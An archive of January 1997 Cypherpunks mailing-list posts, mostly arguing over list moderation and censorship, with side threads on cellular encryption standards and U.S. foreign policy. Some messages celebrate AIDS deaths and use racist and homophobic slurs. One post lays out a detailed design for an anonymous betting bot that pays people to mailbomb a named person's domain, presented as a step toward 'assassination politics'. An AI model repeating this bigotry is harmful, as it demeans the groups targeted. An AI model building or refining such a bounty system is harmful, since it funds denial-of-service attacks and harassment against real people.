competition, MORE consumer choices, MORE widespread access to
information technology.

The Center for Educational Priorities and NetAction are spearheading
this demonstration in an effort to pressure the Federal Communications
Commission and other state and national regulatory agencies to ensure
that the Act is implemented in a way that truly benefits the public. 
We invite you to join this effort by linking to the site at
<http://www.cep.org/protest.html> for one month beginning on February
8.  By linking to the protest site, you will be adding your voice to a
united demand for true telecommunications reform.

The site is currently under development.  When completed, it will
feature brief summaries of the impact the Act has had in its first
year on telecommunications and technology policy, media ownership and
content, and censorship, along with suggested actions to help ensure
that implementation of the Act truly benefits the public.  We are also
creating extensive links to other organizations working on these
issues, as well as to other sites with current information on
censorship, mega-mergers, universal service, school hook-ups, and the
v-chip. We welcome suggestions for additional links to add.

Please let us know if you will participate in the demonstration by
contacting NetAction, by email at akrause@igc.org, or by phone at
415-775-8674. Thanks!

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 27 Jan 1997 07:29:04 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854378751.95282.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> It is obvious to me that those who are waving the bloody flag of
> "censorship" are doing so for either of two reasons.  The ones to
> whom I am the most sympathetic are those who simply do not have
> a clear and coherent understanding of rights in an anarchistic,
> volunteeristic society.  

You need have no sympathy. Those members of this list see it as it 
is, a list that was supposed to be, in some small way, a "model" of 
an anarchistic discussion forum for the subject of cryptography, 
either technically (later split into coderpunks) or at a 
sociopolitical level. That was the intended direction of the list, it 
has rapidly disentigrated over recent months into a censored list 
where the elite post to the main list and anyone else is nearly 
always relegated to a seperate list for the crypto-untermenshcen.

> The ones for whom I have no sympathy are those whose obvious 
> goal is disruption of the Cypherpunks list and who are hiding
> behind a phoney interpretation of "free speech."

You may make as many excuses as you like, the bottom line is you have 
become what you profess to hate most, a censor. If having the right 
to post freely on a list that was supposed to operate as a free and 
open anarchic forum is not a valid interpretation of free speech I 
cannot envisage any more elegant example.
 
> I think both of these groups are intellectually dishonest in the
> extreme when it comes to telling others how this list should be
> run.  I doubt any of them would permit the sort of disruptive
> behavior that goes on here to go unchallenged in salons they
> sponsor in their own homes or on Net lists that they themselves 
> maintain.

If you want to talk about intellectual dishonesty try the following:

Imagine if you will a list, the original purpose of which was
to act as a free and open forum for discussion of cryptography and 
related issues. A list which proudly proclaims in its "welcome to 
the list" message:

We do not seek to prevent other people from
speaking about their experiences or their opinions.

Now imagine that list falling into a state of content based 
censorship and censorship based on an unspoken but ever present 
class structure, then ask yourself which list you know that most 
closely matches this description, it`s a pretty revealing exercise.

> This is a voluntary list folks.  We tried incivility and that did
> not work.  Right now we are experimenting with reasoned discourse
> in an atmosphere of interpersonal respect and good will. 

For "Reasoned discourse in an atmosphere of interpersonal respect and 
good will" read "content based censorship".

> If most list members like the change, it will continue.  If not, then we
> can go back to the swill or perhaps try something else.  In the
> meantime, get over it.  If you really like flames and spam, show
> John and me how it really should be done.  Start another list.  
> Of course squating and claim jumping appeal to the lazy a lot
> more than homesteading.

It is a foregone conclusion that the upper class of list members will 
have no dispute over the censorship and therefore the change will be 
permenant, it is a form of online ethnic cleansing whereby the lists 
clique of illuminati have taken it upon themselves to remove the 
elements of the list they feel endanger their position of superiority 
and respect, the point they have missed is that they have no 
credibility whatsoever after this incident, as well as a number of 
other such occurances and therefore are only isolating themselves 
into their own little world.

"cypherpunks will make the networks safe for censorship"
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 27 Jan 1997 07:29:41 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854378750.95280.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


> From:          paul@fatmans.demon.co.uk
> To:            "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Date:          Sat, 25 Jan 1997 19:12:05 +0000
> Subject:       Re: Rejection policy of the Cypherpunks mailing list
> Cc:            cypherpunks@toad.com
> Priority:      normal

Can anyone tell me if my previous message with the above headers (end
of message quoted in below) was sent to the censored list or to 
cypherpunks-flames? - I subscribe to the unmoderated version of the 
list so do not get to see what goes where....

> I do not have the resources to run such an unmoderated list but I 
> hope someone on this list does and is good enough to start such a 
> list, cypherpunks is a shell of what it once was. 
> 
> Also, please note this message will be junked onto cypherpunks-flames 
> even though it contains no flames or flame bait because it dares to 
> criticise the censorship of the list (once again Sandy, I give you an 
> opportunity to prove me wrong).


 
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 17:47:42 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Fighting the cybercensor
In-Reply-To: <01BC0B90.0B78E600@king2-16.cnw.com>
Message-ID: <32EC05D8.1650@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Dr.Dimitri Vulis
> However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
> not be permitted on the 'net. It also bombs Iraq and murders their
> civilians
> in retaliation for something their governments supposedly did.

> The U.S.G. has many more resources than most of us to do these things,
> including equipment, cooperative troops, money, and recognition from other
> governments.   If other nations disagree with the U.S.G. they have the
> resources to discuss, bargain, negotiate, criticize, form alliances, take
> their chances and retaliate, etc.

I wish this were true, at least of nations which would be friendly
to someone like me (white, Western, etc.).  A bully on a school
playground can always be knocked down, no matter how big or how
vicious he is.  Sadly, the U.S. bully cannot be knocked down.  Bad
enough you get nuclear, chemical, and/or biological stuff waved at
you - if you get into a hot war like Desert Storm, your country is
carpet-bombed with fleets of B-52's until it is thoroughly debilitated.

How does one country get on top and terrorize the whole world?  By
following Tom Wolfe's intimation concerning the pirates: "The people
on the East coast were constantly victimized because they couldn't
comprehend just how vicious and ruthless the pirates really were"
(quote approximate).

People who read this might argue that the "true power" is international
now, and not confined to the USA.  I say it doesn't matter which end
you look at it from, the "true power" has been concentrating and
centralizing itself for some years now, and you can use any nation-label
you like.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 26 Jan 1997 17:52:27 -0800 (PST)
To: Robert Rothenburg Walking-Owl <cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <199701270151.RAA25415@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:03 AM 1/27/97 GMT, Robert Rothenburg Walking-Owl wrote:
>On Thu, 23 Jan 1997 17:32:56 GMT, John Savard <seward@netcom.ca> wrote:
>
>>This is surprising, given that (in Kahn on Codes) Mr. Kahn expressed
>>forceful opinions
>
>>- against certain aspects of export controls,
>
>>- questioning the value of the NSA's mission, in contrast to social
>>demands on government revenues.
>
>I didn't find his opinions forceful in Codebreakers, 2nd. ed.  
>
>Questioning the NSA's purpose vs. advoctating GAK are not incompatible.
>
>>However, while I oppose making key escrow mandatory in general, and
>>share the general suspicion of a voluntary Clipper, if Mr. Kahn's
>>support for Clipper is limited to cellular telephones, then I have no
>>quarrel with such a position.
>
>>Encryption is illegal, without special permission, for use over the
>>airwaves, particularly where mobile radio is involved. This is a
>>long-standing restriction, and not unreasonable. Private communication
>>between people at home is one thing, but allowing criminals to closely
>>coordinate their activities on the move is another.



It's odd that I can't seem to find the original message here.  Contrary to 
the original claim, encryption over radio is generally legal.   (One noted 
exception to this is ham radio...)


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 26 Jan 1997 14:50:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cellular Encryption Docs
Message-ID: <1.5.4.32.19970126224449.006d04a0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to David Wagner and Steve Schear, we've learned about the
latest documents on cellular encryption which supercede the
1992 CAVE document, Appendix A to IS-54, which contained the CAVE 
algorithm. Here are the latest, followed by ordering information.

  TIA/EIA/IS-136.1-A -- TDMA Cellular/PCS - Radio Interface -
  Mobile Station - Base Station Compatibility - Digital Control
  Panel, October, 1996, 372 pp. $350.00.

  Addendum No. 1 to IS-136.1-A, November, 1996, 40 pp. Free.

  TIA/EIA/IS-136.2-A -- TDMA Cellular/PCS - Radio Interface -
  Mobile Station - Base Station Compatibility - Traffic Channels
  and FSK Control Channel, October, 1996, 378 pp. $310.00.

  TIA/EIA-627 -- 800 MHZ Cellular System, TDMA Radio Interface, 
  Dual-Mode Mobile Station - Base Station Compatibility
  Standard, June, 1996, 258 pp. $120.00.

These documents can be ordered from:

  Global Engineering Documents
  15 Inverness Way East
  Englewood, Colorado 80112
  Telephone: 1-800-854-7179

However, each of the documents lists the following related 
supplements which contain "sensitive information" and may be 
obtained by US/CA citizens from TIA by signing a Non-Disclosure 
Agreement and acceptance of export restrictions:

  Appendix A to IS-136.

  Appendix A to 627.

  Common Cryptographic Algorithms.

  Interface Specification for Common Cryptographic Algorithms.

These controlled documents can be requested by calling Ms. Sharon
Vargish at 1-703-907-7702, who will fax an NDA, and upon receipt of
the completed form, will send the controlled documents at no cost.

Here's the NDA:

         AGREEMENT ON CONTROL AND NONDISCLOSURE OF
              COMMON CRYPTOGRAPHIC ALGORITHMS
          REVISION A TO IS-54, IS-95, AND IS-136
      [Note: 627 supercedes IS-54; IS-95 is for CDMA]


"I, _________________________, an employee/consultant/affiliate
       (typed name)

of __________________________, hereafter, "the company,"
      (Company name)

_____________________________
      (Company address)

_____________________________

and a United States or Canadian citizen, acknowledge and understand
that the subject documents, to which I will have access contain 
information [which] is subject to export control under the
International Traffic in Arms Regulations (ITAR) (Title 22, Code
of Federal Regulations, Part 120-130). I also understand that the
subject documents represent valuable, proprietary and confidential
business information of TIA and its members. I hereby certify that
this information will be controlled and will only be further 
disclosed, exported, or transferred according to the terms of the
ITAR.

______________________________       _____________________________
Signature                            Date

______________________________       _____________________________
Printed Name                         Witness

______________________________       _____________________________
Title                                Printed Name of Witness

[End NDA]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Jan 1997 15:26:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Humor] Crypto in Traveller (a game)
Message-ID: <199701262351.RAA01371@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

I thought I would pass this along to demonstrate that all uses of crypto are
not 'real world'...

Hope you enjoy.

                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com

Forwarded message:

> To: traveller@MPGN.COM
> Subject: Re: Aperture Synthesis, Aegis
> Date: Sun, 26 Jan 1997 21:40:18 +0000
> 
> At 08:15 AM 1/26/97 +0000, you wrote:
> <snip>
> >For example, at 5 ls, you have ship A sending data to ship B, which has
> >to know "exactly" how long it took for the data to cross the gap, as
> >that's one of the parameters in the calculations. 
> >
> >If it's "exactly" 5 seconds, then each ship "combines" the data it
> >receives directly with the data received 5 seconds later from the other
> >ship. The combining involves various things like trig and other messy
> >stuff. But it all boils down to "A saw X1 from direction Y1 at time Z1, B
> >saw X2 from Y2 at Z2". You combine the info and triangulate. 
> >
> >So at 5 ls, you have a "data lag" of the 5 seconds it takes the signal
> >to cross the distance *plus* the processing time. 
> >
> >And since the distance *will* vary, even if only by a little bit, that
> >changes the point in the your datastream that you are comparing with
> >the datastream from the other ship.
> >
> 
> Could we presume that vessels operating together would have some type of
> synchronized timekeeping, such as an atomic clock, in each ship, with each
> message between ships being time & velocity stamped so that each receiver
> could adjust the data for integration to local data? 
> 
> We should also assume a really good (and closely gaurded) encryption on the
> interchanges, or enemy intercepts would be right dangerous.
> 
> Adventure possiblity: trying to obtain a given unit's encryption code or
> seeking to recover said code.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 16:20:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Toto's database
In-Reply-To: <199701261840.KAA21206@toad.com>
Message-ID: <uew61D67w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> Greg Broiles wrote:
> > Toto writes:
>                                      a good way to keep the moderator
> honest.

I don't think it's possible.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 18:34:53 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970126202135.24614A-100000@pegasus.montclair.edu>
Message-ID: <32EC1422.6E70@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > Nurdane Oksas wrote:
> > >     i think it's good also to exercise outdoors as well as your
> > >     indoor nordictrack machines..sun and air is esp. necessary;

> > but remember, tanning will kill ya.

>         Yes it will; Not a fan of tanning myself...it also causes lots
>         of skin problems, have seen women age too soon tanning;
>         we don't go outside naked here in NorthEast...do remember;

The real babes in So. Cal. go to tanning salons. That way the evenly-
distributed tan looks best with, say, a pure white bikini.  You can
go to the beach, of course, and hang out with the hoi polloi, but
it's mostly kids with pimples and stuff.

BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
approx. 3 years old.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 16:43:12 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701262310.PAA26784@toad.com>
Message-ID: <199701270039.SAA01662@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 1. The subscribers have spoken by staying put, or,
> 2. The subscribers are so lazy and unaware of what's going on that
>    they've just left things as is.

> Now, in my opinion, we've come to this:  Some people here will hold
> the optimistic view of the bulk of the subscribers, and others will
> hold the pessimistic view (the bulk will presumably be in-between).

In case of 2, they are probably not worthy of your help.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 16:47:07 -0800 (PST)
To: oksas@asimov.montclair.edu (Nurdane Oksas)
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701262327.PAA27273@toad.com>
Message-ID: <199701270041.SAA01716@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Nurdane Oksas wrote:
> 	i think it's good also to exercise outdoors as well as your
> 	indoor nordictrack machines..sun and air is esp. necessary;

but remember, tanning will kill ya.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 26 Jan 1997 18:34:03 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: RE: overview.htm (fwd)
Message-ID: <199701270233.SAA03386@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 26 Jan 97 at 2:19, blanc wrote:

> >Igor Chudov @ home wrote:
> >>>Jim Choate wrote:
> >>>>>Dr.Dimitri Vulis KOTM wrote:
> >>>>>>>irrelevant@nowhere.com wrote:
> >>>>>>>>>>Dale Thorn wrote:
> 
> It can be said 100,000 times, but it still comes out the same:
> Just as in "The only cure for bad speech is more speech", "the only
> cure for 'list-focus-drift' is more on-focus postings".

THE PRICE OF FREE SPEECH IS TOLERANCE OF IDEAS THAT WE MAY
OBJECT TO.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 18:44:58 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Fighting the cybercensor
In-Reply-To: <Vw261D78w165w@bwalk.dm.com>
Message-ID: <32EC1683.4DD0@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> jim bell <jimbell@pacifier.com> writes:
> > Look, I've proposed what I consider to be a remarkably consistent method to
> > prevent the kind of political tyranny that you criticize, and I don't see
> > any recognition of this fact.

> I said many times that I find AP a very interesting notion, worthy of study.
> Given how fast online gambling is growing, how soon do we have to wait for
> a web site for taking bets on deaths of politicians and other prominents?
> Why not set one up, using "funny money" not convertible to anything?

If AP could really work, and AP is enabled by strong p-k crypto,
that fact alone would justify the Washington boys doing *everything*
in their power to stop *real* crypto (i.e., no back doors).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 16:20:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: overview.htm (fwd)
In-Reply-To: <199701261655.IAA18541@toad.com>
Message-ID: <uiX61D68w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:

> >Igor Chudov @ home wrote:
> >>>Jim Choate wrote:
> >>>>>Dr.Dimitri Vulis KOTM wrote:
> >>>>>>>irrelevant@nowhere.com wrote:
> >>>>>>>>>>Dale Thorn wrote:
>
> It can be said 100,000 times, but it still comes out the same:
> Just as in "The only cure for bad speech is more speech", "the only
> cure for 'list-focus-drift' is more on-focus postings".

Clearly Gilmore disagrees with both statements. He practices
censorship and plug-pulling. What a dishonorable person.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 17:30:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: it aint successful until someone loses his temper <g>
In-Reply-To: <3.0.32.19970126212906.00acba20@earthlink.net>
Message-ID: <NqZ61D70w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Penrod <ppenrod@earthlink.net> writes:

> Well, I see that you could'nt leave well enough alone... :-)
>
> Since Snow decided to jump into your face on this one, I might as well
> throw my $0.02 on the table as well. Funny how my trashcan stays very empty
> these days now that cypherpunks is in my bit bucket...

I suggest you subscribe to cypherpunks-unedited. It may go away, but
for now it's much more interesting than the censored version.

> Frankly, it does not surprise me that homosexuality is yet another
> pointless off-topic to be discussed on the list.

Thanks to the moderation, only one side of the issue gets aired anyway.

> >> +Thank God for AIDS.

Amen.

> >>         when AIDS was relatively obscure, I always dismissed AIDS as
> >>     God's response to homosexuality (and other crimes against nature);
> >>     i.e. -settlement by a just God.
> >
> >     I almost threw a dumb ass redneck of a ship in the middle of the ocean
> >for a comment like this.
...
> This politically correct bullshit response is just symptomatic of someone
> who is uncomfortable with the position taken for expediency's sake and is
> trying to justify to himself the course taken.

The "politically correct" homosexuals, like snow and gilmore and sandfart
consider (violent) action to be a reasonable response to speech they don't like
(e.g. "homophobic") - not "more speech". Someone says something you disagree
with on a mailing list? Unsubscribe him! Ban him from the list! Institute
moderation to auto-discard everything he says! Curiously, African-American
children are taught that violence is a correct response to "racist" speech.

ObEbonics: "Dot's right, judge, I shot da mothafucka cuz he call me a nigga!"

> >    I've read a lot of your rantings on this list, and I agree with some of
> >them, but statements like this prove that you are a bigoted idiot. You may
> >have some areas where you know what you are talking about, and I wouldn't
> want
> >to be on the sharp end of a gun you were holding, but your head is
> definately
> >stuck firmly up your ass.
>
> Ok, we throw down the gauntlet here in true USENET style, and in keeping
> with that, have nothing of value to say (just name calling).

When they run out of things to say, they start pulling plugs,
unsubscribing people, and "moderating"...

> >     1) If homosexuality is a "choice", why would anyone choose that
> lifestyle
> >where the averge life expectancy is in the 40's, that causes so much pain
> >among ones family, and so much conflict with the rest of society.

I can answer this one, having worked for Jesuits: having deviant sexual desires
may not be a choice, but willingly committing unnatural acts to satisfy your
deviant desires is a choice.

> >     The answer is you can't. You adopt a knee-jerk position that reinforces
> >your deliberate isolationism. Anything that may cause you to question your
> >worldview gets sorted to /dev/evil and you plow ahead like some pig ignorant
> >dough boy killing as ordered for king and country.
>
> Who's the ignorant one here? The name caller or the recipient. My vote goes
> to the name caller, as he assumes this to be a debate of fact, when in
> essence he's expressed only his opinion on the matter and not bothered to
> show teacher his homework (the dog ate it - so give me an "A" anyway 'cause
> I deserve it). ;->

And when the namecalling doesn't work, they respond with violence.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 17:30:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: US Info Supremacy
In-Reply-To: <199701261655.IAA18539@toad.com>
Message-ID: <Dk161D71w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:

> From:	John Young
>
> Hello, Tim May and our other solons and Solomons.
> ........................................
>
> He must be on vacation; he hasn't posted in quite a while.

Other conjectures:
* dead from AIDS
* abducted by aliens, held captive in a flying saucer
* moderated so heavily, his rants don't even make it to cypherpunks-unedited

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 17:30:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
In-Reply-To: <01BC0B90.0B78E600@king2-16.cnw.com>
Message-ID: <eq161D72w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:

> From:	Dr.Dimitri Vulis
>
> However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
> not be permitted on the 'net. It also bombs Iraq and murders their
> civilians
> in retaliation for something their governments supposedly did.
> ................................................................
>
> The U.S.G. has many more resources than most of us to do these things,
> including equipment, cooperative troops, money, and recognition from other
> governments.   If other nations disagree with the U.S.G. they have the
> resources to discuss, bargain, negotiate, criticize, form alliances, take
> their chances and retaliate, etc.
>
> These things are done on a level not accessible to the most of us.  All
> that we individuals have are access to telephone lines, computers, and
> modems.   Yet even as we speak the world is being "wired" with cables to
> further make this singular communication possible and open up avenues to
> non-government organized activities:   international corporations are se
> tting up offices, services, and correspondence wherever in the world they
> can find markets.   All this is happening even while the governments are
> complaining to each other about what their citizens are posting (tch, tch)
> and threatening to deprive each other of that privilege.
>
> While governments and their True Believer citizens are dealing with each
> other on one level, the rest of the world is reorganizing itself into a
> different order of living and doing business.   They are sharing ideas and
> examining their concepts and beliefs, they are conducting a lot of their
> disagreements on the net (instead of physically against each other on the
> ground), opening up to a broader view of relationships between individuals,
> or to governments, or to religions, sexuality, etc.

And "cypher punks" bend over for a NSA stooge and allow U.S.G. to
further curtail free speech.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 17:30:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [No Subject:]
In-Reply-To: <199701261640.IAA18377@toad.com>
Message-ID: <6w161D73w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> At 09:13 AM 1/25/97 EST, Lou Zer wrote:
> >You missed the hole point. You read that BECAUSE their was no header, if
> >it was ANARCHY you would have just deleted it.
>
> Not necessarily; I _am_ an anarchist, after all.

No, you're a fucking statist.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 18:11:04 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701270100.RAA21027@mail.pacifier.com>
Message-ID: <199701270207.UAA00452@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> 
> "I have a solution to that problem."
> 
> Seriously!  
> 
> Look, I've proposed what I consider to be a remarkably consistent method to 
> prevent the kind of political tyranny that you criticize, and I don't see 
> any recognition of this fact.  
> 

Jim, why don't you stop bullshitting and write a real assassination
bot. [as a beta, it can be a mailbombing bot] This bot would:

1) Accept bets as combinations of
	a) Some amount of cybercash
	b) A string that identifies an event that should happen
	   such as "domain X is mailbombed"
	c) [optional] date of that event (no date means that you always 
           lose)
	d) Return address (possibly a nym address) to send
	   all cash from UNSUCCESSSFUL bets for the event in 
	   question.
	e) [optional] time limit after which the cash will be refunded.

Note that for simplicity, the bot should identify the event as 
a unique string, without any understanding of any semantics of that
string.

2) Store these bets in a database.

3) Have a trusted party (someone really honest, like myself) report to
the bot the signed strings that, in the opinion of the trusted party,
are "true".

4) Upon receipt of such event notifications, the bot will find all bets
and forward them to the better whose date prediction was the closest.
If several betters predicted the same date, the money is split between
them in proportion to the amount of moneys submitted.

Examples of use: Suppose I do not like The Right Reverend Colin James III,
cjames@cec-services.com. I have a lot of money, but do not know how to 
mailbomb. I set some nym address as my return address (for refunds if
CJ3 is not mailbombed within half a year).

I place a bet with $1000 worth of money and phrase "domain cec-services.com
disabled". The date would be open which means that I will always be the
loser. I also post a message (anonymously) saying that anyone who wants
to mailbomb TRRCJ3 can be rewarded through your assassination bot.

Someone with more knowledge of computers, a T1 link and no money will
be lured, submit a bet for, say, Feb 1, and on the 1st will start fierce 
mailbombing of cec-services.com. The return address will, of course, be
a nym.

The fact of mailbombing would become apparent when CEC-SERVICES's MX
DNS record is pulled off. The trusted party will send a phrase
(standardized) "domain cec-services.com disabled" to the bot. The bot
sends my money to the mailbomber through his nym address.

I estimate that this bot would take about 2000 lines of perl. You may need
to use some real database, like postgres or sybase.

Use a nym for it. It will take a while for this bot to develop a 
reputation (remember, there is real money involved!).

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 18:05:54 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Jim Choate Speaks Out on My Part of the Net
In-Reply-To: <199701261712.LAA00406@einstein>
Message-ID: <32EC2A1D.1EDA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> > From: Bill Stewart <stewarts@ix.netcom.com>
> >
> > Nonsense - the net doesn't "belong" to "Singapore or China" -
> 
> The part of it that comes out of their pocketbook does. Just like the part of
> 'the net' that I pay for belongs to me. 
> I have the right to do whatever I want to anything that comes through my part
> of the net, including censoring or editing any mail that comes through it, so
> that it reflects a point of view consistent with mine, since I am the one
> paying for it.

> The net is a bunch of computers,
> running software, hooked together over cables and other links. Each and
> EVERY ONE of these require installation, upkeep, repair, and utility
> support. This costs money. He who pays the money owns the net, everybody
> else is along for the ride.
> Those who pay the money, like myself and others who have bought the right
> to control the net, are justified in acting without outside interference
> on anything that passes through our part of the net.

> If we take your argument to its logical conclusion then once a box goes on
> the net it belongs to nobody/everybody. Clearly utter nonsense.
> The net belongs to those with the money to control it, and people who do
> not have money have no rights on the net.

> If you really and truly believe that the net belongs to everyone and nobody
> has a right to limit or otherwise control the hardware and software along
> with the associated comm links they own and pay for then you obviously don't
> understand what is going on.
> For instance, since Toto pays for the hardware and software that comprises
> his part of the net, he is free to limit, control, and edit for content,
> anything that passes through his part of the net.
> Although I sometimes disagree with Toto because of my limited ability to
> understand things on a conceptual level, his rugged good looks, charm,
> and superior intelligence show that he should be allowed to control his
> own privately owned part of the net and anything that passes through it.

>                                                  Jim Choate
>                                                  CyberTects
>                                                  ravage@ssz.com

Jim,
 Thank you for your support in my efforts to exert supreme control over
the part of the net that I have paid for.
 I am sure that you will continue to fight for the right of myself and
the government of Singapore to use that control for whatever purpose
they choose.
 As you can see above, I have enhanced your posting so that it more
closely conforms to the beliefs that my paid-for part of the net was
set up to espouse.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
